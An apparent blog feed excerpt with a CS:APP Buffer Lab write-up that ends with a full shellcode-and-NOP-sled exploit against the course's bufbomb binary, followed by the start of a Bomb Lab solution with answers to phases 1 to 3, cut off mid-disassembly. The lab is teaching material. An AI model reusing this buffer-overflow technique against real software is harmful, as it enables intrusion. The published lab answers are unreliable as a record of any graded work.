<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">b8 70 5a 2d 36 68 be 8d</div><div class="code-line numbered-code-line" data-line-number="2">04 08 c3 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="3">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="4">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="5">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="6">40 31 68 55 e8 30 68 55 0a</div></code></pre>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-05-06-23-08-20.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-05-06-23-08-20.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<h2 id="level-4-nitroglycerin"><a href="#level-4-nitroglycerin">Level 4: Nitroglycerin</a></h2>
<p><strong>目标：使用 <code>-n</code> 命令运行 bufbomb，程序会开启栈随机化来组织攻击代码。需要对抗栈随机化，实现把 getbufn 的返回值修改成 cookie 值并避免对栈的破坏。</strong></p>
<p>和前面不同的是，这一个阶段由于使用的是 getbufn 和 testn 函数，并且需要将一个相同的字符串输入五次。所以需要使用命令</p>
<p><code>cat exploit.txt | ./hex2raw -n | ./bufbomb -n -u bill</code></p>
<p>来输入字符。同时，文档也指出在 getbufn 中有<code>#define KABOOM_BUFFER_SIZE 512</code>，所以缓冲区大小为 512.</p>
<p>这次研究 getbufn 的汇编代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">(gdb) disas</div><div class="code-line numbered-code-line" data-line-number="2">Dump of assembler code for function getbufn:</div><div class="code-line numbered-code-line" data-line-number="3">   0x0804920c &#x3C;+0>:	push   %ebp</div><div class="code-line numbered-code-line" data-line-number="4">   0x0804920d &#x3C;+1>:	mov    %esp,%ebp</div><div class="code-line numbered-code-line" data-line-number="5">    # esp 减去了 536 个字节</div><div class="code-line numbered-code-line" data-line-number="6">   0x0804920f &#x3C;+3>:	sub    $0x218,%esp</div><div class="code-line numbered-code-line" data-line-number="7">    # buf 的首地址空间离 ebp 有 520 个字节</div><div class="code-line numbered-code-line" data-line-number="8">=> 0x08049215 &#x3C;+9>:	lea    -0x208(%ebp),%eax</div><div class="code-line numbered-code-line" data-line-number="9">   0x0804921b &#x3C;+15>:	mov    %eax,(%esp)</div><div class="code-line numbered-code-line" data-line-number="10">   0x0804921e &#x3C;+18>:	call   0x8048cfa &#x3C;Gets></div><div class="code-line numbered-code-line" data-line-number="11">   0x08049223 &#x3C;+23>:	mov    $0x1,%eax</div><div class="code-line numbered-code-line" data-line-number="12">   0x08049228 &#x3C;+28>:	leave</div><div class="code-line numbered-code-line" data-line-number="13">   0x08049229 &#x3C;+29>:	ret</div><div class="code-line numbered-code-line" data-line-number="14">End of assembler dump.</div></code></pre>
<p>在这一阶段，getbufn 会调用 5 次，每次的储存的 ebp 都不一样，官方文档表示这个差值会在 +- 240 的样子：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163954.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163954.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>接下来使用 gdb，在 getbufn 打下断点，连续 5 次查看 % ebp 的值，可以得到这五次 ebp 的值分别是在：</p>
<table>
<thead>
<tr>
<th>No</th>
<th>p/x $ebp</th>
<th>p/x $ebp - 0x208</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0x55683110</td>
<td>0x55682f08</td>
</tr>
<tr>
<td>2</td>
<td>0x556830b0</td>
<td>0x55682ea8</td>
</tr>
<tr>
<td>3</td>
<td>0x55683100</td>
<td>0x55682ef8</td>
</tr>
<tr>
<td>4</td>
<td>0x55683110</td>
<td>0x55682f08</td>
</tr>
<tr>
<td>5</td>
<td>0x55683180</td>
<td>0x55682f78</td>
</tr>
</tbody>
</table>
<p>对应的，buf 的起始地址就是每一次记的 ebp 减去 208，也就是 520 字节。</p>
<p>所以每一次的地址是无法确认的。英文文档中介绍了可以使用 <code>nop sled</code> 的方法来解决这一问题。参考 CSAPP 教材中的介绍：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163955.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163955.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>所以如果在注入的攻击代码的前面全部填充为 nop 指令（nop 指令的机器代码为 0x90），只要最后的返回地址落在了这一大堆 nop 指令中的任意一个，程序就会一直 nop 下去，直到运行到我们注入的汇编代码，而不会因为跳转到了我们注入到的有效代码中间某个位置而出现意想不到的结果。</p>
<p>因此，在注入代码的时候，有效的机器代码应当尽可能地往后放，在前面都填上 nop，也就是 0x90。</p>
<p>接下来需要处理的问题是注入并覆盖 ebp 后，把正确的 esp 还原回去。研究 testn 的部分汇编代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">Dump of assembler code for function testn:</div><div class="code-line numbered-code-line" data-line-number="2">   0x08048e26 &#x3C;+0>:	push   %ebp</div><div class="code-line numbered-code-line" data-line-number="3">   0x08048e27 &#x3C;+1>:	mov    %esp,%ebp</div><div class="code-line numbered-code-line" data-line-number="4">   0x08048e29 &#x3C;+3>:	push   %ebx</div><div class="code-line numbered-code-line" data-line-number="5">   0x08048e2a &#x3C;+4>:	sub    $0x24,%esp</div><div class="code-line numbered-code-line" data-line-number="6">   0x08048e2d &#x3C;+7>:	call   0x8048d90 &#x3C;uniqueval></div><div class="code-line numbered-code-line" data-line-number="7">   0x08048e32 &#x3C;+12>:	mov    %eax,-0xc(%ebp)</div><div class="code-line numbered-code-line" data-line-number="8">   0x08048e35 &#x3C;+15>:	call   0x804920c &#x3C;getbufn></div><div class="code-line numbered-code-line" data-line-number="9">   0x08048e3a &#x3C;+20>:	mov    %eax,%ebx</div><div class="code-line numbered-code-line" data-line-number="10">   0x08048e3c &#x3C;+22>:	call   0x8048d90 &#x3C;uniqueval></div></code></pre>
<p>在每一次调用了 getbufn 之后，ebp 的值将会被 push 进去。这个 ebp 值是等于 testn 被调用的时候 esp 存储的值的。esp 先由于 push ebx 而减去了 4，再手动减去了 0x24，所以这个时候 exp + 0x28 的值就是传入了 getbufn 开始的时候 ebp 的值。</p>
<p>所以构造出来的汇编代码如下：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">lea 0x28(%esp), %ebp</div><div class="code-line numbered-code-line" data-line-number="2">mov $0x362d5a70, %eax</div><div class="code-line numbered-code-line" data-line-number="3">push $0x08048e3a</div><div class="code-line numbered-code-line" data-line-number="4">ret</div></code></pre>
<p>得到机器代码：</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">00000000 &#x3C;.text>:</div><div class="code-line numbered-code-line" data-line-number="2">   0:	8d 6c 24 28          	lea    0x28(%esp),%ebp</div><div class="code-line numbered-code-line" data-line-number="3">   4:	b8 70 5a 2d 36       	mov    $0x362d5a70,%eax</div><div class="code-line numbered-code-line" data-line-number="4">   9:	68 3a 8e 04 08       	push   $0x8048e3a</div><div class="code-line numbered-code-line" data-line-number="5">   e:	c3                   	ret</div></code></pre>
<p>整理得 <code>8d 6c 24 28 b8 70 5a 2d 36 68 3a 8e 04 08 c3</code></p>
<p>根据以上分析应构造的栈帧结构如下：</p>
<table>
<thead>
<tr>
<th>地址</th>
<th>解释</th>
</tr>
</thead>
<tbody>
<tr>
<td>返回地址</td>
<td>设置成几个缓冲区首地址的最小值，然后使用nop sled运行下去</td>
</tr>
<tr>
<td>ebp</td>
<td>占用4字节，会被破坏，所以要还原</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>ebp - 520 字节</td>
<td>buf 数组的初始地址，从这里开始注入代码</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>ebp - 0x218</td>
<td>esp，栈帧首地址</td>
</tr>
</tbody>
</table>
<p>结合得到的 5 次 buf 首地址，应该让程序跳转到地址最高的一次，然后一路 nop sled。最大的地址为 <code>0x55682f78</code>，应当填入第 524 字节。所以构造答案如下：</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">/* 505 字节的 nop */</div><div class="code-line numbered-code-line" data-line-number="2">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="3">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="4">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="5">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="6">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="7">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="8">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="9">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="10">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="11">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="12">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="13">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="14">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="15">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="16">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="17">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="18">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="19">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="20">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="21">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="22">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="23">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="24">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="25">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="26">90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="27">90 90 90 90 90</div><div class="code-line numbered-code-line" data-line-number="28">/* 注入的代码 */</div><div class="code-line numbered-code-line" data-line-number="29">8d 6c 24 28 b8 70 5a 2d 36 68 3a 8e 04 08 c3</div><div class="code-line numbered-code-line" data-line-number="30">/* 覆盖 ebp */</div><div class="code-line numbered-code-line" data-line-number="31">00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="32">/* 破坏返回地址 */</div><div class="code-line numbered-code-line" data-line-number="33">78 2f 68 55</div></code></pre>
<p>经验证五次结果均满足要求，All done.
<a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163956.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163956.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<hr>
<h2 id="写在后面"><a href="#写在后面">写在后面</a></h2>
<p>太可怕了，写完这个又是凌晨三点了。</p>
<p>我愈发开始敬佩这些实验的作者，CMU 的计算机不愧是地球第一。然而马上又要开始啃下一个实验了。不愧是华师软院，一秃再秃，一秃到底。</p>
<p>由于实在是懒得在 wordpress 上排版，这里的正文部分是直接复制的我 GitHub 里的文件。如果不幸图片加载出现了问题，这里应该有排版良好的实验报告：<a href="https://github.com/jtchen2k/LearningRepo/blob/master/Course/CSAPP/LAB3/Report/LAB3%20%E5%AE%9E%E9%AA%8C%E5%88%86%E6%9E%90.md">GitHub 传送门</a></p>]]></description>
            <link>https://jtchen.io/blog/csapp-bufferlab</link>
            <guid isPermaLink="false">csapp-bufferlab</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Tue, 07 May 2019 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[深入理解计算机系统 (CS:APP) Bomb Lab 解析]]></title>
            <description><![CDATA[<blockquote>
<p>CS:APP 实验解析系列博客索引：</p>
<ul>
<li><a href="/blog/csapp-bomblab">深入理解计算机系统 (CS:APP) Bomb Lab 解析</a></li>
<li><a href="/blog/csapp-bufferlab">深入理解计算机系统 (CS:APP) 缓冲区漏洞实验 Buffer Lab 解析</a></li>
<li><a href="/blog/csapp-cachelab">深入理解计算机系统 (CS:APP) 高速缓存实验 Cache Lab 解析</a></li>
</ul>
<p>所有实验的代码可以在 <a href="https://github.com/jtchen2k/LearningRepo/tree/master/Course/CSAPP">这里</a> 找到。</p>
</blockquote>
<h2 id="写在前面"><a href="#写在前面">写在前面</a></h2>
<p>CS:APP 是这学期的一门硬核课程，应该是目前接触到最底层的课程了。学校的教学也是尝试着尽量和 CMU 同步，课件和习题都直接照搬原版。包括现在着手的第二个实验室 Bomb Lab。这个 lab 很有意思，没有提供全部 c 语言代码，需要手动根据反汇编语言推测在每一个阶段需要输入的内容，输入正确就可以进入下一个阶段。</p>
<p>理论上每个人获取到的 lab 都是不一样的，但对于自学学生而言在官网<a href="http://csapp.cs.cmu.edu/3e/labs.html">http://csapp.cs.cmu.edu/3e/labs.html</a>下载到的实验室都是一样的，爆炸了之后也不会把信息发送到远程服务器扣分。</p>
<p>使用<code>gdb bomb</code>命令可以实时调试程序。结合<code>break function</code>、<code>break *地址</code>、<code>disas</code>、<code>x/s $地址</code>命令实时查看程序内的内容，同时用<code>info registers</code>和<code>info frame</code>查看寄存器信息和栈帧信息，可以拆除炸弹。</p>
<h2 id="phase-1"><a href="#phase-1">Phase 1</a></h2>
<p>在 Phase_1 打下断点，使用<code>info register</code>可以得到寄存器信息：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">(gdb) info register</div><div class="code-line numbered-code-line" data-line-number="2">rax            0x603780            6305664</div><div class="code-line numbered-code-line" data-line-number="3">rbx            0x0                 0</div><div class="code-line numbered-code-line" data-line-number="4">rcx            0x3                 3</div><div class="code-line numbered-code-line" data-line-number="5">rdx            0x1                 1</div><div class="code-line numbered-code-line" data-line-number="6">rsi            0x603780            6305664</div><div class="code-line numbered-code-line" data-line-number="7">rdi            0x603780            6305664</div><div class="code-line numbered-code-line" data-line-number="8">rbp            0x402210            0x402210 &#x3C;__libc_csu_init></div><div class="code-line numbered-code-line" data-line-number="9">rsp            0x7fffffffde28      0x7fffffffde28</div><div class="code-line numbered-code-line" data-line-number="10">r8             0x604674            6309492</div><div class="code-line numbered-code-line" data-line-number="11">r9             0x7ffff7fba540      140737353852224</div><div class="code-line numbered-code-line" data-line-number="12">r10            0x3                 3</div><div class="code-line numbered-code-line" data-line-number="13">r11            0x7ffff7e015c0      140737352046016</div><div class="code-line numbered-code-line" data-line-number="14">r12            0x400c90            4197520</div><div class="code-line numbered-code-line" data-line-number="15">r13            0x7fffffffdf10      140737488346896</div><div class="code-line numbered-code-line" data-line-number="16">r14            0x0                 0</div><div class="code-line numbered-code-line" data-line-number="17">r15            0x0                 0</div><div class="code-line numbered-code-line" data-line-number="18">rip            0x400ee0            0x400ee0 &#x3C;phase_1></div><div class="code-line numbered-code-line" data-line-number="19">eflags         0x206               [ PF IF ]</div><div class="code-line numbered-code-line" data-line-number="20">cs             0x33                51</div><div class="code-line numbered-code-line" data-line-number="21">ss             0x2b                43</div><div class="code-line numbered-code-line" data-line-number="22">ds             0x0                 0</div><div class="code-line numbered-code-line" data-line-number="23">es             0x0                 0</div><div class="code-line numbered-code-line" data-line-number="24">fs             0x0                 0</div><div class="code-line numbered-code-line" data-line-number="25">gs             0x0                 0</div></code></pre>
<p>得到汇编代码如下：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">Dump of assembler code for function phase_1:</div><div class="code-line numbered-code-line" data-line-number="2">=> 0x0000000000400ee0 &#x3C;+0>:	sub    $0x8,%rsp</div><div class="code-line numbered-code-line" data-line-number="3">   0x0000000000400ee4 &#x3C;+4>:	mov    $0x402400,%esi</div><div class="code-line numbered-code-line" data-line-number="4">   0x0000000000400ee9 &#x3C;+9>:	callq  0x401338 &#x3C;strings_not_equal></div><div class="code-line numbered-code-line" data-line-number="5">   0x0000000000400eee &#x3C;+14>:	test   %eax,%eax</div><div class="code-line numbered-code-line" data-line-number="6">   0x0000000000400ef0 &#x3C;+16>:	je     0x400ef7 &#x3C;phase_1+23></div><div class="code-line numbered-code-line" data-line-number="7">   0x0000000000400ef2 &#x3C;+18>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="8">   0x0000000000400ef7 &#x3C;+23>:	add    $0x8,%rsp</div><div class="code-line numbered-code-line" data-line-number="9">   0x0000000000400efb &#x3C;+27>:	retq</div></code></pre>
<p>发现程序调用了<code>strings_not_euqal</code>函数，该函数应该是用于比较两个字符串是否相等的。可以发现 % eax 是输入的字符串数据，调用程序会将如果返回值 % eax 为 0 的话 je 结束函数 phase_1。其中所以使用命<code>x/s 0x402400</code>获取存储的字符串，得到结果：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163957.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163957.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>所以第一个炸弹的答案为：</p>
<blockquote>
<p>Border relations with Canada have never been better.</p>
</blockquote>
<h2 id="phase-2"><a href="#phase-2">Phase 2</a></h2>
<p>同样获取这一阶段的汇编代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">(gdb) disas</div><div class="code-line numbered-code-line" data-line-number="2">Dump of assembler code for function phase_2:</div><div class="code-line numbered-code-line" data-line-number="3">=> 0x0000000000400efc &#x3C;+0>:	push   %rbp</div><div class="code-line numbered-code-line" data-line-number="4">   0x0000000000400efd &#x3C;+1>:	push   %rbx</div><div class="code-line numbered-code-line" data-line-number="5">   0x0000000000400efe &#x3C;+2>:	sub    $0x28,%rsp</div><div class="code-line numbered-code-line" data-line-number="6">   0x0000000000400f02 &#x3C;+6>:	mov    %rsp,%rsi</div><div class="code-line numbered-code-line" data-line-number="7">   0x0000000000400f05 &#x3C;+9>:	callq  0x40145c &#x3C;read_six_numbers></div><div class="code-line numbered-code-line" data-line-number="8">   0x0000000000400f0a &#x3C;+14>:	cmpl   $0x1,(%rsp)</div><div class="code-line numbered-code-line" data-line-number="9">   0x0000000000400f0e &#x3C;+18>:	je     0x400f30 &#x3C;phase_2+52></div><div class="code-line numbered-code-line" data-line-number="10">   0x0000000000400f10 &#x3C;+20>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="11">   0x0000000000400f15 &#x3C;+25>:	jmp    0x400f30 &#x3C;phase_2+52></div><div class="code-line numbered-code-line" data-line-number="12">   0x0000000000400f17 &#x3C;+27>:	mov    -0x4(%rbx),%eax</div><div class="code-line numbered-code-line" data-line-number="13">   0x0000000000400f1a &#x3C;+30>:	add    %eax,%eax</div><div class="code-line numbered-code-line" data-line-number="14">   0x0000000000400f1c &#x3C;+32>:	cmp    %eax,(%rbx)</div><div class="code-line numbered-code-line" data-line-number="15">   0x0000000000400f1e &#x3C;+34>:	je     0x400f25 &#x3C;phase_2+41></div><div class="code-line numbered-code-line" data-line-number="16">   0x0000000000400f20 &#x3C;+36>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="17">   0x0000000000400f25 &#x3C;+41>:	add    $0x4,%rbx</div><div class="code-line numbered-code-line" data-line-number="18">   0x0000000000400f29 &#x3C;+45>:	cmp    %rbp,%rbx</div><div class="code-line numbered-code-line" data-line-number="19">   0x0000000000400f2c &#x3C;+48>:	jne    0x400f17 &#x3C;phase_2+27></div><div class="code-line numbered-code-line" data-line-number="20">   0x0000000000400f2e &#x3C;+50>:	jmp    0x400f3c &#x3C;phase_2+64></div><div class="code-line numbered-code-line" data-line-number="21">   0x0000000000400f30 &#x3C;+52>:	lea    0x4(%rsp),%rbx</div><div class="code-line numbered-code-line" data-line-number="22">   0x0000000000400f35 &#x3C;+57>:	lea    0x18(%rsp),%rbp</div><div class="code-line numbered-code-line" data-line-number="23">   0x0000000000400f3a &#x3C;+62>:	jmp    0x400f17 &#x3C;phase_2+27></div><div class="code-line numbered-code-line" data-line-number="24">   0x0000000000400f3c &#x3C;+64>:	add    $0x28,%rsp</div><div class="code-line numbered-code-line" data-line-number="25">   0x0000000000400f40 &#x3C;+68>:	pop    %rbx</div><div class="code-line numbered-code-line" data-line-number="26">   0x0000000000400f41 &#x3C;+69>:	pop    %rbp</div><div class="code-line numbered-code-line" data-line-number="27">   0x0000000000400f42 &#x3C;+70>:	retq</div><div class="code-line numbered-code-line" data-line-number="28">End of assembler dump.</div></code></pre>
<p>有一个 read_six_numbers 的函数，猜测会从输入中读取六个数字。所以可以随便输入 6 个数字测试以一下。查看 read_six_numbers 的汇编代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">Dump of assembler code for function read_six_numbers:</div><div class="code-line numbered-code-line" data-line-number="2">   0x000000000040145c &#x3C;+0>:	sub    $0x18,%rsp</div><div class="code-line numbered-code-line" data-line-number="3">   0x0000000000401460 &#x3C;+4>:	mov    %rsi,%rdx</div><div class="code-line numbered-code-line" data-line-number="4">   0x0000000000401463 &#x3C;+7>:	lea    0x4(%rsi),%rcx</div><div class="code-line numbered-code-line" data-line-number="5">   0x0000000000401467 &#x3C;+11>:	lea    0x14(%rsi),%rax</div><div class="code-line numbered-code-line" data-line-number="6">   0x000000000040146b &#x3C;+15>:	mov    %rax,0x8(%rsp)</div><div class="code-line numbered-code-line" data-line-number="7">   0x0000000000401470 &#x3C;+20>:	lea    0x10(%rsi),%rax</div><div class="code-line numbered-code-line" data-line-number="8">   0x0000000000401474 &#x3C;+24>:	mov    %rax,(%rsp)</div><div class="code-line numbered-code-line" data-line-number="9">   0x0000000000401478 &#x3C;+28>:	lea    0xc(%rsi),%r9</div><div class="code-line numbered-code-line" data-line-number="10">   0x000000000040147c &#x3C;+32>:	lea    0x8(%rsi),%r8</div><div class="code-line numbered-code-line" data-line-number="11">   0x0000000000401480 &#x3C;+36>:	mov    $0x4025c3,%esi</div><div class="code-line numbered-code-line" data-line-number="12">   0x0000000000401485 &#x3C;+41>:	mov    $0x0,%eax</div><div class="code-line numbered-code-line" data-line-number="13">   0x000000000040148a &#x3C;+46>:	callq  0x400bf0 &#x3C;__isoc99_sscanf@plt></div><div class="code-line numbered-code-line" data-line-number="14">   0x000000000040148f &#x3C;+51>:	cmp    $0x5,%eax</div><div class="code-line numbered-code-line" data-line-number="15">   0x0000000000401492 &#x3C;+54>:	jg     0x401499 &#x3C;read_six_numbers+61></div><div class="code-line numbered-code-line" data-line-number="16">   0x0000000000401494 &#x3C;+56>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="17">   0x0000000000401499 &#x3C;+61>:	add    $0x18,%rsp</div><div class="code-line numbered-code-line" data-line-number="18">   0x000000000040149d &#x3C;+65>:	retq</div><div class="code-line numbered-code-line" data-line-number="19">End of assembler dump.</div></code></pre>
<p>通过观察寄存器的信息，可以发现输入的数据存储在了 % rsp 下的各个位置，分别为 % rsp + 1， % rsp + 2…… 等等（可以通过<code>(gdb) print /d *0x7fffffffddf0 + 4 $5 = 5</code>来检查，更多的是通过函数的名称猜测出来的，因为不太确定 scanf 的机制，猜测这里 scanf 的返回值应该存储在 eax 内，为成功读取到的数据个数，<code>cmp    $0x5,%eax</code>这句会使成功读取的数据少于 5 的时候炸弹爆炸。）</p>
<p>对于 phase_2 的汇编代码，第一条 cmp 语句可以看出在比较输入的第一个数字，如果不为 1 就爆炸。之后的结构中有许多的跳转语句，可以判断这是一个循环。循环中把后面一个数字传入 % rbx 中，再把前一个数字传入 % eax 中。<code>add    %eax,%eax</code>一句再讲前一个数字乘以二，如果相等的话就可以跳过这个 + 36 处的爆炸点。紧接着将 % rbx 指向下一个整数，比较是否和 % rsp 相等，也就是达到了最后一个整数的情况，如果没有就继续循环，达到了就跳到 + 64 处，炸弹解除。所以只要每一个数都是前一个的两倍就可以了，答案为：</p>
<blockquote>
<p>1 2 4 8 16 32</p>
</blockquote>
<h2 id="phase-3"><a href="#phase-3">Phase 3</a></h2>
<p>接下来观察 phase_3 的汇编代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">Dump of assembler code for function phase_3:</div><div class="code-line numbered-code-line" data-line-number="2">=> 0x0000000000400f43 &#x3C;+0>:	sub    $0x18,%rsp</div><div class="code-line numbered-code-line" data-line-number="3">   0x0000000000400f47 &#x3C;+4>:	lea    0xc(%rsp),%rcx</div><div class="code-line numbered-code-line" data-line-number="4">   0x0000000000400f4c &#x3C;+9>:	lea    0x8(%rsp),%rdx</div><div class="code-line numbered-code-line" data-line-number="5">         # ️x/s 0x4025cf可以得到"%d %d"，这就是需要输入的两个数据</div><div class="code-line numbered-code-line" data-line-number="6">   0x0000000000400f51 &#x3C;+14>:	mov    $0x4025cf,%esi</div><div class="code-line numbered-code-line" data-line-number="7">   0x0000000000400f56 &#x3C;+19>:	mov    $0x0,%eax</div><div class="code-line numbered-code-line" data-line-number="8">   0x0000000000400f5b &#x3C;+24>:	callq  0x400bf0 &#x3C;__isoc99_sscanf@plt></div><div class="code-line numbered-code-line" data-line-number="9">         # ️%scanf如果返回值为1也就是读取成功的个数为1的话就会爆炸，所以猜测这里需要至少读取两个数据才能跳过下一个爆炸点。</div><div class="code-line numbered-code-line" data-line-number="10">   0x0000000000400f60 &#x3C;+29>:	cmp    $0x1,%eax</div><div class="code-line numbered-code-line" data-line-number="11">   0x0000000000400f63 &#x3C;+32>:	jg     0x400f6a &#x3C;phase_3+39></div><div class="code-line numbered-code-line" data-line-number="12">   0x0000000000400f65 &#x3C;+34>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="13">   0x0000000000400f6a &#x3C;+39>:	cmpl   $0x7,0x8(%rsp)</div><div class="code-line numbered-code-line" data-line-number="14">         # ️%rsp + 8 如果大于7，则炸弹会爆炸。观察发现 %rsp + 8 存储的是第一个输入的整数。由于ja是无符号比较，所以输入的值必须大于等于0，否则也一定会爆炸。</div><div class="code-line numbered-code-line" data-line-number="15">   0x0000000000400f6f &#x3C;+44>:	ja     0x400fad &#x3C;phase_3+106></div><div class="code-line numbered-code-line" data-line-number="16">   0x0000000000400f71 &#x3C;+46>:	mov    0x8(%rsp),%eax</div><div class="code-line numbered-code-line" data-line-number="17">         # ️这里是个switch语句，根据rax的值去查找跳转表对应的值。rax是输入的第一个整数。</div><div class="code-line numbered-code-line" data-line-number="18">   0x0000000000400f75 &#x3C;+50>:	jmpq   *0x402470(,%rax,8)</div><div class="code-line numbered-code-line" data-line-number="19">   0x0000000000400f7c &#x3C;+57>:	mov    $0xcf,%eax</div><div class="code-line numbered-code-line" data-line-number="20">   0x0000000000400f81 &#x3C;+62>:	jmp    0x400fbe &#x3C;phase_3+123></div><div class="code-line numbered-code-line" data-line-number="21">   0x0000000000400f83 &#x3C;+64>:	mov    $0x2c3,%eax</div><div class="code-line numbered-code-line" data-line-number="22">   0x0000000000400f88 &#x3C;+69>:	jmp    0x400fbe &#x3C;phase_3+123></div><div class="code-line numbered-code-line" data-line-number="23">   0x0000000000400f8a &#x3C;+71>:	mov    $0x100,%eax</div><div class="code-line numbered-code-line" data-line-number="24">   0x0000000000400f8f &#x3C;+76>:	jmp    0x400fbe &#x3C;phase_3+123></div><div class="code-line numbered-code-line" data-line-number="25">   0x0000000000400f91 &#x3C;+78>:	mov    $0x185,%eax</div><div class="code-line numbered-code-line" data-line-number="26">   0x0000000000400f96 &#x3C;+83>:	jmp    0x400fbe &#x3C;phase_3+123></div><div class="code-line numbered-code-line" data-line-number="27">   0x0000000000400f98 &#x3C;+85>:	mov    $0xce,%eax</div><div class="code-line numbered-code-line" data-line-number="28">   0x0000000000400f9d &#x3C;+90>:	jmp    0x400fbe &#x3C;phase_3+123></div><div class="code-line numbered-code-line" data-line-number="29">   0x0000000000400f9f &#x3C;+92>:	mov    $0x2aa,%eax</div><div class="code-line numbered-code-line" data-line-number="30">   0x0000000000400fa4 